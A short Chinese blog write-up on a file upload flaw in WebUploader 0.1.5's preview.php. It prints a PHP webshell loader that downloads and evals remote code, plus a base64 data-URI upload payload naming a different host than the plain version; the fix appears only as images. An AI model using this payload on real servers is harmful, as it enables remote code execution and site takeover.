webuploader0.1.15组件存在文件上传漏洞以及详细解决办法

        百度WebUploader组件存在文件上传漏洞。该漏洞是由于WebUploader组件上传页面对文件类型或文件扩展名过滤不严所致,攻击者可利用漏洞直接上传或简单绕过限制上传脚本文件,执行系统命令,获取网站服务器权限。

漏洞文件路径:webuploader/0.1.5/server/preview.php

aa6d9670.png

        代码文件后缀是根据base64数据匹配获取到的,这样就可以按需构造所需要的上传内容。比如要上传一句话木马:

<?php
$c=&$cv;$cv='http://xxx.com/dama.txt';$b=file_get_contents($c);@eval('?>'.`/******/`.$b);

        转换成base64数据就是:

data:image/php;base64,Jmx0Oz9waHANCiRjPSYkY3Y7JGN2PSYjMzk7aHR0cDovL21wLnNlbzAwNy50b3AvZGFtYS50eHQmIzM5OzskYj1maWxlX2dldF9jb250ZW50cygkYyk7QGV2YWwoJiMzOTs/Jmd0OyYjMzk7LmAvKioqKioqL2AuJGIpOw==

        然后使用postman模拟提交数据

5fb5c3b9.png

        就可以上传成功了!所以一定要禁用eval函数!!!!!!eval禁用的办法前面已经写了


        具体修改方案,增加文件后缀判断:比如

1033a445.png